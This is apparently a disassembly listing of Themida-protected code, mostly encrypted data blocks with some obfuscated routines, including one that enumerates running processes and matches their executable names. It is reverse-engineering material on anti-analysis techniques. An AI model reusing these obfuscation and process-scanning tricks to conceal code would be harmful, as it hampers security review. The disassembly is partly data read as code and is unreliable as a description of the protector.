		dd 1E79BD98h, 0C874232Ch, 0B4616B4Dh, 26B80D23h, 203A3098h
		dd 4D9F63CEh, 0BE93309Ah, 26D47D1Bh, 2F79BD98h,	0C8742331h
		dd 0DE616B4Dh, 379C3099h, 0EE63A6E9h, 5DBAF5D7h, 347B629Eh
		dd 17C9309Eh, 0BEBEF3C4h, 0B67614CAh, 2E3D14DAh, 759C309Eh
		dd 0A702F3CCh, 0CC8D8239h, 0F718C115h, 0AA44C815h, 31F2BEC4h
		dd 859CB1F8h, 0E7BCBDB8h, 0CF9A261Ch, 3724E061h, 3724D8C8h
		dd 69B3309Eh, 43406E5Dh, 736534BAh, 376534BAh, 617F309Eh
		dd 6388A35Dh, 3CB9BB00h, 78A33F5Eh, 8D93309Eh, 58E0745Ch
		dd 79DAAD13h, 3718368Fh, 373AD8CFh, 6EBC309Eh, 7BC7695Dh
		dd 73A634BAh, 378534BAh, 6688309Eh, 5FAA9C5Dh, 37F43FFEh
		dd 5639309Eh, 379C3326h, 33C03F9Eh, 5127309Eh, 0C8A33621h
		dd 37C1D97Dh, 0E420309Eh, 0DEF00BC1h, 0AAB4AB40h, 318ABEFCh
		dd 0DF1E30F4h, 3727309Dh, 6F5068BEh, 33ED7417h,	33C0741Fh
		dd 3772308Bh, 7EFA60DEh, 3792D8AFh, 0BC0D309Eh,	0F6403D7Eh
		dd 39F70617h, 0F1138867h, 0E761BDC0h, 0CE74261Ch, 3753E061h
		dd 379FD8CFh, 6E6E309Eh, 7BAE695Dh, 731234BAh, 37D434BAh
		dd 66A5309Eh, 0AD13BD5Dh, 0F92D6D50h, 383A0369h, 0F745C821h
		dd 3761B491h, 37F9309Eh, 37CAD8C9h, 68C4309Eh, 4BFB6F5Dh
		dd 73B834BAh, 378834BAh, 6009309Eh, 8028935Dh, 90EBD4Eh
		dd 0B6CF21D0h, 71B88E79h, 0CB93B19Fh, 8F312027h, 379C309Fh
		dd 374BB191h, 7498309Eh, 0C8D2CD43h, 0FA00B07Dh, 0B983AD13h
		dd 3F9B3688h, 0D39309Eh, 4BC872D3h, 0BAEADF50h,	21A5E01Bh
		dd 4D2A5698h, 8119CF59h, 38243B14h, 37720E1Ah, 0AAB4C99Eh
		dd 318D7EA0h, 374CBC91h, 5895309Eh, 37933326h, 38B0859Eh
		dd 37E42410h, 377DD99Eh, 0EA2B309Eh, 64E0175Fh,	44CD3998h
		dd 95D1A955h, 5770CF54h, 5119BBF8h, 5185CA15h, 74081824h
		dd 978356FEh, 0CE233F34h, 0C0C556FFh, 0B9778D13h, 0BA1E3688h
		dd 31DFA134h, 7CB84D26h, 0B2F70314h, 1C3F21B9h,	0AAB4F151h
		dd 318ABEFCh, 0DF1E30F4h, 3727309Dh, 6F5068BEh,	33ED7417h
		dd 33C0741Fh, 0F305E983h, 0FC08BA4h, 3081h, 14E86000h
		dd 0EC000000h, 9E38DF3Ch, 1D66E2FDh, 0B8E4F603h, 5596AF9Fh
		dd 5B2E61D9h, 0FE9h, 0A30B3300h, 296F6046h, 0BA77169Fh
		dd 871D517h, 840F61h, 81000000h, 5190AE1h, 66C38B69h, 7627C281h
		dd 1890F60h, 0F5000000h, 0E8C08B61h, 0Dh, 0EECB6229h, 5806F0CFh
		dd 2B6AEAFAh, 835FF9F4h, 1125F1BDh, 9750006h, 243DBD83h
		dd 74000611h, 8B535019h, 47AB8C0h, 85890000h, 6110A49h
		dd 0B2909D8Dh, 0D3FF0613h, 0BD83585Bh, 611243Dh, 50177400h
		dd 47AB853h, 85890000h,	6110A49h, 0AF319D8Dh, 0D3FF0613h
		dd 8A60585Bh, 61C38AF7h, 8D8DC08Bh, 6169363h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0FCC35545h, 8B1858Bh
		dd 8D890611h, 611285Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 70C35747h, 27599D01h,	8D0F0611h, 8, 75BD8952h
		dd 58061121h, 2DD185C7h, 5B5C0611h, 0B5090000h,	61114B1h
		dd 9BD8950h, 58061100h,	270985C7h, 611h, 13E90000h, 3F000000h
		dd 75FC30B8h, 8BC46BF3h, 7DDFA753h, 7CA2A827h, 0B70FBB1Ch
		dd 0A1B5FFFEh, 6A061103h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 6D05C356h, 0A358555Fh
		dd 63CD2A3Dh
		dd 7CD8589h, 95FF0611h,	6111DA9h, 229D9D89h, 6A0611h, 5C595FFh
		dd 0C08B0611h, 0FAB748EBh, 685A7BAFh, 1B4A1F84h, 9AB79EF2h
		dd 8C5858C4h, 0DAC3D308h, 0A58F6DFh, 111D356h, 12B43B59h
		dd 81B91087h, 431F5343h, 0F38B24D1h, 0A6B95F21h, 0C0C63281h
		dd 0C318942h, 0D24675E1h, 70CD39C7h, 1DD4A7C2h,	3CE9EDF9h
		dd 1, 4Eh dup(0)
		dd 83000000h, 112605BDh, 840F0106h, 666h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 0E5C35040h, 0DB29D36Eh
		dd 0D185C6F8h, 43061106h, 12830Fh, 0E8600000h, 7, 0E7011776h
		dd 582FF2F2h, 61CABF0Fh, 4E8h, 0A5D0F500h, 128D0FECh, 50000000h
		dd 0F525052h, 0F585A31h, 8E0F31h, 5A000000h, 60605058h
		dd 850F5E53h, 0
		dd 0EE861h, 0FA6B0000h,	0C8D35F3Bh, 0CF1CD0EAh,	1397E1DEh
		dd 2E6159BAh, 8B615E48h, 0E9042444h, 0Bh, 0FED267C8h, 9689617Ah
		dd 8BCBC6FFh, 9E900h, 6AC50000h, 0A191715Ch, 89F5395Fh
		dd 0E9042444h, 0Fh, 531A2DD1h, 413C6E04h, 8D0EF047h, 58BE64E6h
		dd 0D1B5FFF9h, 6006110Fh, 0FD9B70Fh, 8D61D6B7h,	14747F85h
		dd 118F0F06h, 0E9000000h, 0Ch, 5378E964h, 8C51DD62h, 0F6A5653h
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 5E1D03C3h, 11820F60h, 0E8000000h,	0Bh, 1D80F83Eh
		dd 45E2C20Dh, 5E3CB076h, 0FDB311BBh, 0BA606146h, 532EE600h
		dd 858961F9h, 61114D9h,	7E85060h, 88000000h, 0FA3E268h
		dd 5B584489h, 61CF8B66h, 6D185C6h, 6A500611h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 135BC357h, 0F9B24F5Eh, 60FA8B60h, 0C9DA8166h, 0E0D08158h
		dd 61650575h, 4E8F561h,	56000000h, 0FA8ADADh, 0C8Ch, 6870F00h
		dd 0F000000h, 84h, 880F5000h, 1Bh, 0AE95250h, 0B5000000h
		dd 0FB96EDDBh, 82CDE301h, 50310FBBh, 5A310F52h,	8B585A58h
		dd 50042444h, 830F6052h, 0
		dd 0F61B9B5h, 0EE931h, 86D80000h, 0DBFB80A6h, 0A3494FBBh
		dd 0B2E80F7Ch, 8B585Ah,	13E960h, 0C210000h, 0F53FA171h
		dd 0BF08E885h, 0AE789A0h, 0B18D1B5Bh, 0DA8B66B9h, 24448961h
		dd 12E96004h, 0F3000000h, 0DD566C03h, 5F6A46BDh, 0ABC65F88h
		dd 0BBDD5CF6h, 9E839h, 0E540000h, 4D13A069h, 5EE97D01h
		dd 0FFFC5861h, 110FD1B5h, 11E96006h, 0D9000000h, 587C7E5Ah
		dd 0C891E620h, 7438F5E8h, 0F82DCF41h, 10E9h, 4C3B9100h
		dd 4EF91C1Ah, 0A08D7853h, 8F7C2357h, 11E96119h,	0C7000000h
		dd 55A870D3h, 0A2DE9EFBh, 2F8365E2h, 0D06E90BDh, 747F858Dh
		dd 12E90614h, 4A000000h, 0CE00DC01h, 79AF682Bh,	0CA00F8BEh
		dd 25FA454h, 0F8D0FFD7h, 1850Fh, 89F80000h, 1127ED85h
		dd 3EBB6006h, 0F7DC1EAh, 38Ch, 0C38B6600h, 80456861h, 880FAA3Fh
		dd 0Fh,	0AE9h, 0A2A10A00h, 3D2E8F7Bh, 81A99707h, 27EA2404h
		dd 6A4650h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0FDF307C3h, 0F15EBDA5h, 1880F8Dh,	0F9000000h
		dd 0FD1B5FFh, 6A0611h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 3613D3C3h, 0F800Fh, 0AE90000h, 7000000h
		dd 7EF6CD0Fh, 0C606C6E0h, 10E95Ch, 12C30000h, 5EECA1ECh
		dd 0B413B912h, 0B696DE2Ah, 858D3EEAh, 614747Fh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0DBC35747h, 8B60FC87h
		dd 0DE960FEh, 0A2000000h, 231EE4BCh, 0C025B075h, 0E4C098ABh
		dd 0CE9h, 2AFD9600h, 0E1A6190Dh, 16AF1F4Fh, 0FF616107h
		dd 57006AD0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 98AF010Fh, 0EE9E174h, 6C000000h,	6897104h
		dd 8964C7D7h, 6D66F2D3h, 99858942h, 6006110Bh, 4FA3CE81h
		dd 0E9615995h, 0Fh, 6565B454h, 2F33AECCh, 0EC99B16Dh, 0C6744976h
		dd 1106D185h, 10E95006h, 42000000h, 0C4D71D52h,	7A70BC7h
		dd 1E83DEE1h, 0E861F000h, 4, 979CDC56h,	0AE9h, 94E74300h
		dd 0BFC8EEFAh, 50E06E60h, 10E95260h, 76000000h,	0E48A81CEh
		dd 0C9D4831Ch, 0FE0D81DBh, 59E60903h, 61605250h, 58BE310Fh
		dd 5A74DCFDh, 448B6158h, 52500424h, 7E860h, 636A0000h
		dd 3BACB7Eh, 0D0B25865h, 0F310F61h, 681h, 860F00h, 5A000000h
		dd 50008B58h, 10E952h, 0E9770000h, 0C902D1F9h, 778DD969h
		dd 36FE765Bh, 310F2C73h, 0CE9h,	0A1464200h, 8153ED86h
		dd 28C6A55h, 89585A76h,	0E9042444h, 14h, 795536C8h, 2D4971C4h
		dd 0AD0342C2h, 0D7D57516h, 5E5E00CCh, 0CE958h, 1A3B0000h
		dd 32E06A11h, 0B3CCD8EFh, 0B5FF763Bh, 6110ED1h,	6E9h, 6C6D0000h
		dd 8D359918h, 113AA685h, 6E906h, 0D76E0000h, 9337349Fh
		dd 8E0FD0FFh, 8, 2850Fh, 61600000h, 2C258589h, 80600611h
		dd 0C2B28DC6h, 144E961h, 890F0000h, 15h, 10E9h,	9C20AE00h
		dd 8A86646Eh, 15CAC3C3h, 7324397Ch, 0F60501Ah, 389h, 0DE8B6600h
		dd 8961C88Ah, 0AE9242Ch, 0B8000000h, 874B80D6h,	4E937DF3h
		dd 6E9C5h, 0B830000h, 0B30DF4D3h, 11E9EC8Bh, 0B7000000h
		dd 0DE9F6178h, 15434371h, 2E9FB1BBh, 229FD50Dh,	0FFCC483h
		dd 18Dh, 6060FC00h, 0A68BF66h, 0B8A0D081h, 0E8612F9Bh
		dd 0
; ---------------------------------------------------------------------------
		pop	edx
		sub	edx, 6169A9Ah
		mov	dword ptr [ebp-4], 0
		cmp	dword ptr [edx+6112605h], 1
		jz	loc_5A3713
		push	edx
		push	0
		push	0Fh
		call	dword ptr [edx+61114D9h]
		pop	edx
		mov	[edx+61693B5h],	eax
		lea	ebx, [edx+61693B9h]
		push	edx
		mov	dword ptr [ebx], 128h
		push	ebx
		push	eax
		call	dword ptr [edx+61127EDh]
		pop	edx


loc_5A36A3:				; CODE XREF: Themida_:005A36CDj
					; Themida_:005A3701j
		push	edx
		lea	ebx, [edx+61693B9h]
		push	ebx
		push	dword ptr [edx+61693B5h]
		call	dword ptr [edx+6112C25h]
		pop	edx
		or	eax, eax
		jz	short loc_5A370C
		lea	ebx, [edx+61693B9h]
		lea	edi, [ebx+24h]
		xor	ecx, ecx


loc_5A36C7:				; CODE XREF: Themida_:005A36D7j
		cmp	ecx, 104h
		jz	short loc_5A36A3
		inc	ecx
		cmp	dword ptr [ecx+edi], 4558452Eh
		jnz	short loc_5A36C7
		lea	esi, [ecx+edi]
		sub	esi, [ebp+0Ch]
		lea	edi, [edx+6112E21h]
		mov	ecx, [ebp+0Ch]
		rep movsb
		xor	al, al
		stosb
		push	edx
		push	dword ptr [ebp+8]
		lea	eax, [edx+6112E21h]
		push	eax
		call	dword ptr [edx+6110B99h]
		pop	edx
		or	eax, eax
		jnz	short loc_5A36A3
		mov	dword ptr [ebp-4], 1
		jmp	short loc_5A3713
; ---------------------------------------------------------------------------


loc_5A370C:				; CODE XREF: Themida_:005A36BAj
		mov	dword ptr [ebp-4], 0


loc_5A3713:				; CODE XREF: Themida_:005A3675j
					; Themida_:005A370Aj
		popa
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh
		dd 88Ah, 2800F00h, 60000000h, 0D28BF861h, 266E9h, 8C666000h
		dd 4C1F6D9h, 35840Fh, 16A0000h,	0ED1B5FFh, 858D0611h, 614747Fh
		dd 8589D0FFh, 61106EDh,	0EFC1FE8Bh, 680Ch, 6A2006h, 6857026Ah
		dd 1000Dh, 6ED95FFh, 32E90611h,	0C6000000h, 1106D185h
		dd 0DF685606h, 0FFA9C530h, 110FD1B5h, 7F858D06h, 0FF061474h
		dd 0B98589D0h, 8D061129h, 11005185h, 406A5006h,	0FF56056Ah
		dd 1129B995h, 0C36106h,	2 dup(0)
		dd 52000000h, 8B60D48Bh, 85890842h, 6169BE9h, 890C428Bh
		dd 169BE185h, 10428B06h, 9BE58589h, 0B58D0616h,	6169C1Fh
		dd 8EA1858Dh, 0D0FF005Bh, 0CC25A61h, 0E9B58B00h, 8B06169Bh
		dd 169BE185h, 0E5BD8306h, 6169Bh, 7840Fh, 6890000h, 2E9h
		dd 0CF068800h, 2 dup(0)
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	eax, [edx+8]
		mov	[ebp+6169BE9h],	eax
		lea	esi, [ebp+6169C70h]
		lea	eax, byte_5B8EA1[ebp]
		call	eax
		popa
		pop	edx
		mov	eax, [ebp+6169BE9h]
		retn	4
; ---------------------------------------------------------------------------
		dw 858Bh
		dd 6169BE9h, 8589008Bh,	6169BE9h, 0CFh,	0B5896000h, 6169C46h
		dd 9C428589h, 858D0616h, 611017Dh, 8944408Bh, 169C7F85h
		dd 0B5B58D06h, 8D06169Ch, 5B8EA185h, 61D0FF00h,	9C46858Bh
		dd 8BC30616h, 169C429Dh, 43B70F06h, 8BD8033Ch, 9D03785Bh
		dd 6169C42h, 324738Bh, 169C42B5h, 7B8B5606h, 1C738B20h
		dd 9C42BD03h, 0B5030616h, 6169C42h, 0FFC983FCh,	469D8B41h
		dd 8B06169Ch, 42950317h, 8306169Ch, 28A04C7h, 840FC084h
		dd 0Fh,	850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh, 0CD850F03h
		dd 5FFFFFFFh, 0B70FE1D1h, 48B0F04h, 42850386h, 8906169Ch
		dd 169C4685h, 8BF08B06h, 81C18BCEh, 169C7FBDh, 30000006h
		dd 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh, 8, 2512E8C1h
		dd 3FF8h, 9C7FBD8Bh, 0C830616h,	148B0607h, 24C28B07h, 8B813C81h
		dd 57840FC1h, 81000000h, 169C7FBDh, 30000006h, 0D850FC0h
		dd 0C1000000h, 0FC250AE8h, 0E9003FFFh, 8, 2509E8C1h, 7FFFF8h
		dd 2Dh,	6088340h, 8000F7h, 840F0000h, 1Eh, 9C7FBD81h, 616h
		dd 840FC030h, 0Eh, 3FF825h, 808B00h, 83C06000h,	8DCF0608h
		dd 169BED85h, 0B1858906h, 8D06111Eh, 169C8385h,	95858906h
		dd 8D06110Eh, 169C4A85h, 0FD858906h, 8D06112Dh,	169EFC8Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 34356E2Fh, 0CE915h, 0DAED0000h, 7006D8D9h
		dd 0FD6FF405h, 0E6818149h, 855C65Ah, 285D8D89h,	6A0611h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 55D9A1C3h, 77C908F2h, 0A792B877h, 8D010CE9h,	6110761h
		dd 2DD185C7h, 66480611h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 350C25C3h, 0BD89BA9Ah
		dd 6112ACDh, 4D1858Bh, 85C70611h, 6112709h, 0
; ---------------------------------------------------------------------------
		push	ecx
		add	[ebp+6113071h],	edx
		pop	edx
		push	dword ptr [ebp+6110A89h]
		push	0
		push	eax
		call	sub_5A3A85
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3A85	proc near		; CODE XREF: Themida_:005A3A7Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5A3A85	endp

; ---------------------------------------------------------------------------
		db 27h,	4Dh, 0EDh
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, 38A83930h
		pop	edx
		call	dword ptr [ebp+6111DA9h]
		jmp	loc_5A3ABB
; ---------------------------------------------------------------------------
		dw 634Bh
		dd 41F5E369h, 0D014EFFEh, 0EE2E6E86h
		db 0F4h, 3Eh, 7Eh
; ---------------------------------------------------------------------------


loc_5A3ABB:				; CODE XREF: Themida_:005A3AA5j
		push	0
		call	dword ptr [ebp+61105C5h]
		mov	eax, eax
		jmp	short loc_5A3B12
; ---------------------------------------------------------------------------
		db 49h
		dd 60021E75h, 4F16274Bh, 7A3E587Ah, 0BBCD72A1h,	7F3250C9h
		dd 9A895DB5h, 0A52A0566h, 906A21E4h, 2941C635h,	1E310BE9h
		dd 0AE9AC166h, 5A67C091h, 0F50B0D3Ch, 73B32479h, 0A0A75E7Bh
		dd 527ED8A1h, 24FC7161h, 0BB40B714h
		db 72h,	4Fh
; ---------------------------------------------------------------------------


loc_5A3B12:				; CODE XREF: Themida_:005A3AC5j
		call	sub_5A3B21
		xor	[eax-5F2ED8A4h], eax
		stosd
		cmp	dl, bl
		inc	esi

; =============== S U B	R O U T	I N E =======================================



sub_5A3B21	proc near		; CODE XREF: Themida_:loc_5A3B12p
		xor	ecx, 9F4BA77h
		pop	esi
		mov	[ebp+6112BD1h],	esi
		add	esi, 5EDFh
		push	eax
		mov	eax, [ebp+611125Dh]
		pop	edi
		mov	edx, 4F029512h
		xor	edx, 4F028296h
		push	ebx
		call	near ptr sub_5A3B54
		inc	edi
		stosd
		and	[edi], esp
		pushf
		cmpsd
		pop	esi
sub_5A3B21	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A3B54	proc far		; CODE XREF: sub_5A3B21+27p

; FUNCTION CHUNK AT 0055E37C SIZE 00000047 BYTES

		sub	[ebp+6111461h],	edx
		pop	eax
		pop	edi


loc_5A3B5C:				; CODE XREF: sub_5A3B54+7Dj
		mov	ebx, [esi]
		mov	[ebp+6110F6Dh],	edx
		xor	ebx, 68C093A7h
		mov	[ebp+6112BA5h],	edi
		sub	ebx, 49A02BE5h
		push	edx
		jmp	loc_5A3B82
; ---------------------------------------------------------------------------
		dd 0D4B05E9Ah
		db 0E4h, 0B6h
; ---------------------------------------------------------------------------


loc_5A3B82:				; CODE XREF: sub_5A3B54+23j
		pop	edi
		sub	ebx, 5E6EEF27h
		push	edx
		jge	loc_5A3B96
		mov	eax, [ebp+611202Dh]


loc_5A3B96:				; CODE XREF: sub_5A3B54+36j
		pop	ecx
		mov	[esi], ebx
		mov	[ebp+6111345h],	edx
		sub	esi, 4BF9A07Bh
		cld


loc_5A3BA6:				; CODE XREF: sub_5A3B54+B8j
		add	esi, 4BF9A077h
		sub	ah, 0ADh
		dec	edx
		jnz	loc_5A3BCC
		jmp	loc_5A3BC1
; ---------------------------------------------------------------------------
		db 0DCh
		dd 26B1F030h
		db 0DBh
; ---------------------------------------------------------------------------


loc_5A3BC1:				; CODE XREF: sub_5A3B54+62j
		jmp	loc_5A3BEA
; ---------------------------------------------------------------------------
		dw 9CADh
		dd 684FF425h
; ---------------------------------------------------------------------------


loc_5A3BCC:				; CODE XREF: sub_5A3B54+5Cj
		adc	di, 7103h
		jmp	loc_5A3B5C
; ---------------------------------------------------------------------------
		dw 0CE65h
		dd 0EA90F9F6h, 37C9C848h, 2D576A0Eh, 6CD95650h
		db 0E4h, 0CEh
; ---------------------------------------------------------------------------


loc_5A3BEA:				; CODE XREF: sub_5A3B54:loc_5A3BC1j
		jmp	loc_5A3D6C
; ---------------------------------------------------------------------------
		push	ebx
		fstp	qword ptr [edi+ebx*2-74h]
		push	0FFFFFF91h
		test	[edx-53B392B2h], ch
		pop	edx
		mov	al, 0Bh
		mov	ch, 54h
		mov	ebx, 0B854BF52h
		or	esi, [eax]
		pop	edx
		mov	bl, 52h
		dec	esi
		jnb	short loc_5A3BA6
		cmp	esp, [esi+26h]
		retf	7852h
; ---------------------------------------------------------------------------
		dd 54D03172h, 809C35C6h, 9528DB4h, 2852FC16h, 1, 4000000h
		dd 2 dup(0)
		dd 2F000000h, 0
		dd 8000000h, 0
		dd 53000000h, 65747379h, 5020006Dh, 65636F72h, 5D7373h
		dd 45h dup(0)
; ---------------------------------------------------------------------------


loc_5A3D6C:				; CODE XREF: sub_5A3B54:loc_5A3BEAj
		jmp	loc_5A5565
; ---------------------------------------------------------------------------
		push	616A36Dh
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	616A481h
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	616A58Bh
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	616A658h
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	616A7F6h
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	616A9B2h
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	616AA81h
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	616AB67h
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	616ADAAh
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	616AED0h
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	616AFB6h
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	616B057h
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	616B1D0h
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	616B6F2h
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	616B845h
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		db 0FCh
		dd 0CE7264FEh, 19BD95C9h, 678BCF9Dh, 0B4D8FE64h, 0EE212939h
		dd 0FD6D6834h, 3537B1D5h, 6EFCF91Dh, 9EC4C468h,	420E19B8h
		dd 88EDC3BBh, 0BDFB43FAh, 0E951273Dh, 1F577BE9h, 95238687h
		dd 950C87D5h, 0E53FB981h, 15BBD6D7h, 45D08F77h,	6256016Dh
		dd 15BB85B4h, 0C69C1C77h, 114D4EF2h, 1BFAC85Bh,	0FD9CEC5Ah
		dd 615CD19Eh, 3BCB1Fh, 913B0000h, 2391F4F9h, 950C8553h
		dd 701997BBh, 1458F773h, 1837A317h, 0D85DFF45h,	0E71A2C25h
		dd 526F4D93h, 0D3771549h, 0DD65CA4Bh, 2935BAE3h, 0A0ADD49Ah
		dd 9A1F60AEh, 0CBh, 273DBD0Ah, 0B9341A51h, 625DC1A9h, 484AC00h
		dd 0B2361A5Eh, 368CAAACh, 0B38EFB65h, 0F519312Fh, 0D096FF5h
		dd 9EA1B195h, 0F1A4264Dh, 710C5E59h, 0CAC6AE2Ah, 401F6AF3h
		dd 4F4EC60Eh, 96972578h, 77715F6h, 0A5B2DC82h, 7AA4742Fh
		dd 0A1094352h, 0C0DE420Eh, 22246CE1h, 0BDF2C6A4h, 20406E1Fh
		dd 8D18377Dh, 40E39A36h, 0A5B27D20h, 0D3B6A1CDh, 0DCF2706Fh
		dd 352D3DB8h, 0E64FD467h, 8EB06E48h, 0D0000015h, 1ABE90D2h
		dd 5D81C995h, 0ABCF0361h, 0F0143A28h, 2A5D75F5h, 3929A4F0h
		dd 71F3ED11h, 0AAB83559h, 0E28000A4h, 0F6C245ECh, 88EDC2F7h
		dd 0BD479FAEh, 8A2E2042h, 21765806h, 49079D19h,	8EFB61B4h
		dd 91E772EDh, 9144DC92h, 93D1CFF9h, 2313A104h, 4B950C85h
		dd 66620987h, 25D81430h, 46B20493h, 4475A309h, 0C57715BFh
		dd 0E875E4A5h, 0D21F6164h, 0E7h, 1E3DBD52h, 606CC9D9h
		dd 8EFB9F5Dh, 50854B04h, 0C5A52016h, 9ED59B36h,	472B37B8h
		dd 2386E4E3h, 0C1FAA11Fh, 29EBBD2Fh, 11571BB6h,	0FB335DA3h
		dd 8565A8Eh, 0ECE951C6h, 9414387Eh, 0F26AEACEh,	734194EBh
		dd 8EFB304Ah, 257A3C2Bh, 0C2FCF97h, 0D8720495h,	0F5B4A66Eh
		dd 62F2E473h, 0D302DAEAh, 7143480h, 86155353h, 0EB68EC23h
		dd 3EE833Fh, 0CEE3CDA5h, 0AF6CE00Ch, 69640D8Bh,	19B4B3F9h
		dd 9413378Ah, 0D974EEEDh, 1B98BEF1h, 0B4FA694Fh, 6D551590h
		dd 0E6502099h, 7A521056h, 3C000014h, 0EB2A4BEh,	59FDD589h
		dd 0A7CB0F5Dh, 0F4183E24h, 2E6169F9h, 3D2DA8F4h, 75F7F115h
		dd 0AEBC395Dh, 0DE8404A8h, 82CE59F8h, 88EDC5FBh, 4E3B83BAh
		dd 23910988h, 8EFB611Ah, 3B710C5Bh, 0E7E64A2Ch,	0AF33577Bh
		dd 0BD4999B1h, 0C39F1C3Dh, 0D9D87EEDh, 0A9442389h, 26AAACC3h
		dd 913F7438h, 8EFB61ECh, 4B0F9AB5h, 0CD5A1E4Ch,	234141E5h
		dd 9725782Fh, 8EFB6196h, 7ADE90CFh, 8BD9D77Ah, 0F904625h
		dd 730E1D53h, 0F695153Dh, 0DFE29F0Ch, 0D307927Dh, 0D971DCBFh
		dd 7064FDEDh, 0FB16B944h, 0E96FF88Eh, 0F18C07B9h, 0F9C22EAAh
		dd 0D528950Ch, 14F6C6E7h, 0EEC09F77h, 0D53D582h, 7F6A057Dh
		dd 784F4EC6h, 69050C5Ch, 0AE025D97h, 97962279h,	0CE72AF05h
		dd 9896DEA8h, 0BC4B4698h, 0DBE27AFAh, 7BEC884h,	7CEB695Bh
		dd 0C3A12129h, 122BA9FCh, 8978BB3Ch, 25CE4D34h,	0B996F028h
		dd 29A9CDF1h, 0B8D073Bh, 70B6E8B5h, 1370B2h, 0AEB43600h
		dd 0DF8304A8h, 95757FBh, 441E9DC1h, 73EFEE12h, 0A6EE285Fh
		dd 0F3173B27h, 3F6377F5h, 0AAEA0BEh, 5FF6D886h,	0C4F18CC8h
		dd 99A088EDh, 273DBD41h, 404DC551h, 6C4B5F7Dh, 84A8950Ch
		dd 16155B07h, 0AF33577Bh, 0E37BFBB1h, 0E984E6E1h, 4C715F92h
		dd 15771595h, 90E48601h, 4D520493h, 4A065911h, 6CFCF5EAh
		dd 0F1592C3Bh, 0D92C73F1h, 2335C2FBh, 0F2C4937Dh, 3826AACEh
		dd 6568E074h, 0EC05CB1Eh, 431F9C1Fh, 8F5AFE6Dh,	0B21C527Bh
		dd 66CAAAF2h, 3A715403h, 0E9CF9314h, 9010347Ah,	0A7ABFCD2h
		dd 0D2763A28h, 0AC0291CDh, 165A0888h, 2087861Eh, 0CE878894h
		dd 716CD278h, 0CAACBBF1h, 1189B1AEh, 26DA2594h,	12A322C0h
		dd 0E7E50000h, 0B031557Dh, 7C789CB2h, 4544E8EEh, 1691351Dh
		dd 11CD0254h, 36184A45h, 561492h, 4F83DFDCh, 91B9A72Bh
		dd 92AB2960h, 0C388EDC7h, 42BD20BAh, 0EACE9C1Bh, 93AA267Dh
		dd 0C28EFB61h, 9FA30695h, 0EA787821h, 440A9986h, 0C8571D45h
		dd 1AB2C2E6h, 61C0FDDBh, 0C6918EFBh, 0A078542Bh, 8A950C67h
		dd 986419B7h, 223D7715h, 4137204Ch, 0B9A9242Ah,	1E0274F3h
		dd 6E92C49Ah, 0B480F46Ah, 0E4A111Ch, 6CE271FEh,	510F93A7h
		dd 3B710C1Bh, 56D87C0Bh, 6C5830AFh, 0EFC5A520h,	5D8DE570h
		dd 0CFCF73BCh, 7575D991h, 32B698EFh, 31664A2Ch,	0FCF3FE0Bh
		dd 9CD20D0Bh, 0CBCAFC94h, 0AD382AA4h, 0F6CD58C7h, 0D1A4C6DAh
		dd 0A62A2C66h, 377F4B8h, 1D4443D7h, 7CEBC1A3h, 0FB6969E1h
		dd 9CD3086Ch, 482C3ABAh, 0DDC0FDDBh, 0C6916337h, 164C4CF0h
		dd 45C420A2h, 1595AF27h, 6FFA694Fh, 0DB64BC18h,	0DA7578C0h
		dd 125050F4h, 0C7C1095Eh, 0D75E6F6Dh, 48076940h, 5053F7BDh
		dd 85338712h, 6940C7F4h, 9FD17752h, 0F3E9AA6h, 5669403Dh
		dd 95DC53F9h, 0E8FDF93h, 3E104E52h, 6448169Ah, 2E757810h
		dd 0B72656A2h, 0F5C88772h, 0A2164C4Dh, 0B5C9EDC5h, 0C7C65EF1h
		dd 7F78D4E0h, 8ED974B8h, 175352E6h, 0BC4673A1h,	2A2C5568h
		dd 7DF5BDA9h, 3785D8E5h, 4E81DC47h, 5AFCC39Ch, 8DB50856h
		dd 0BE62540Eh, 0B400961Ah, 5B865D89h, 8CE07FE8h, 820229A4h
